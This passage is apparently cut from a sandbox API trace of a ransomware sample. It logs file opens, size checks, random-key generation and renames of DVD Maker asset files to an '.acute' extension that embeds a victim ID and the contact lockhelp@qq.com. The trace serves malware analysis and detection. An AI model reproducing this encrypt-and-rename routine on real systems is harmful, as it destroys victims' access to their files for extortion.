Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0 [0274.607] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.608] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1837606) returned 1 [0274.608] CloseHandle (hObject=0x30c) returned 1 [0274.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0x20 [0274.608] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.608] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0 [0274.608] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.609] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1589606) returned 1 [0274.609] CloseHandle (hObject=0x30c) returned 1 [0274.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0x20 [0274.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0 [0274.609] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.609] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1613606) returned 1 [0274.609] CloseHandle (hObject=0x30c) returned 1 [0274.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0x20 [0274.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0 [0274.609] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.610] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6717684) returned 1 [0274.610] CloseHandle (hObject=0x30c) returned 1 [0274.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0x20 [0274.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0 [0274.610] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.611] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6765684) returned 1 [0274.611] CloseHandle (hObject=0x30c) returned 1 [0274.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0x20 [0274.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0 [0274.611] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.611] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2925684) returned 1 [0274.611] CloseHandle (hObject=0x30c) returned 1 [0274.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0x20 [0274.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0 [0274.611] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.612] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3037684) returned 1 [0274.612] CloseHandle (hObject=0x30c) returned 1 [0274.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0x20 [0274.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0 [0274.612] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.612] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9170) returned 1 [0274.612] CloseHandle (hObject=0x30c) returned 1 [0274.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png")) returned 0x20 [0274.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.612] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.613] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.613] CloseHandle (hObject=0x30c) returned 1 [0274.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0274.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.614] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.614] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6440) returned 1 [0274.614] CloseHandle (hObject=0x30c) returned 1 [0274.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0274.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.614] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.615] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2821) returned 1 [0274.615] CloseHandle (hObject=0x30c) returned 1 [0274.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0274.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.615] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.616] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5620) returned 1 [0274.616] CloseHandle (hObject=0x30c) returned 1 [0274.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png")) returned 0x20 [0274.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.618] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.618] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5182) returned 1 [0274.618] CloseHandle (hObject=0x30c) returned 1 [0274.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png")) returned 0x20 [0274.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.619] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.619] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.619] CloseHandle (hObject=0x30c) returned 1 [0274.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png")) returned 0x20 [0274.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd 